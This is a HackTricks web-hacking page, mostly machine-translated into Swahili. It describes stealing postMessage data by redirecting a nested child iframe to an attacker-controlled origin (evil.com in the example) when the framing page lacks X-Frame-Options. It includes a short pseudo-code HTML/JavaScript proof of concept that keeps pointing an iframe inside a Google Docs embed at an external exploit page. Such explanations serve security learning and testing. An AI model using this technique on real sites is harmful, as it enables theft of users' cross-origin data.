Steal postmessage modifying iframe location

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Check the subscription plans!
Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

Changing child iframes locations

Kulingana na hii andiko, ikiwa unaweza iframe ukurasa wa wavuti bila X-Frame-Header ambao una iframe nyingine, unaweza kubadilisha eneo la iframe hiyo ya mtoto.

Kwa mfano, ikiwa abc.com ina efg.com kama iframe na abc.com haina X-Frame header, naweza kubadilisha efg.com kuwa evil.com cross origin kwa kutumia, frames.location.

Hii ni muhimu sana katika postMessages kwa sababu ikiwa ukurasa unatumia data nyeti kwa kutumia wildcard kama windowRef.postmessage("","*") inawezekana kubadilisha eneo la iframe inayohusiana (mtoto au mzazi) kuwa eneo lililodhibitiwa na mshambuliaji na kuiba data hiyo.

<html>
<iframe src="https://docs.google.com/document/ID" />
<script>
//pseudo code
setTimeout(function(){ exp(); }, 6000);

function exp(){
//needs to modify this every 0.1s as it's not clear when the iframe of the iframe affected is created
setInterval(function(){
window.frames[0].frame[0][2].location="https://geekycat.in/exploit.html";
}, 100);
}
</script>
</html>

Support HackTricks

Angalia mpango wa usajili!
Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au fuata sisi kwenye Twitter 🐦 @hacktricks_live.
Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.

PreviousBypassing SOP with Iframes - 2 NextProxy / WAF Protections Bypass

Last updated 4 months ago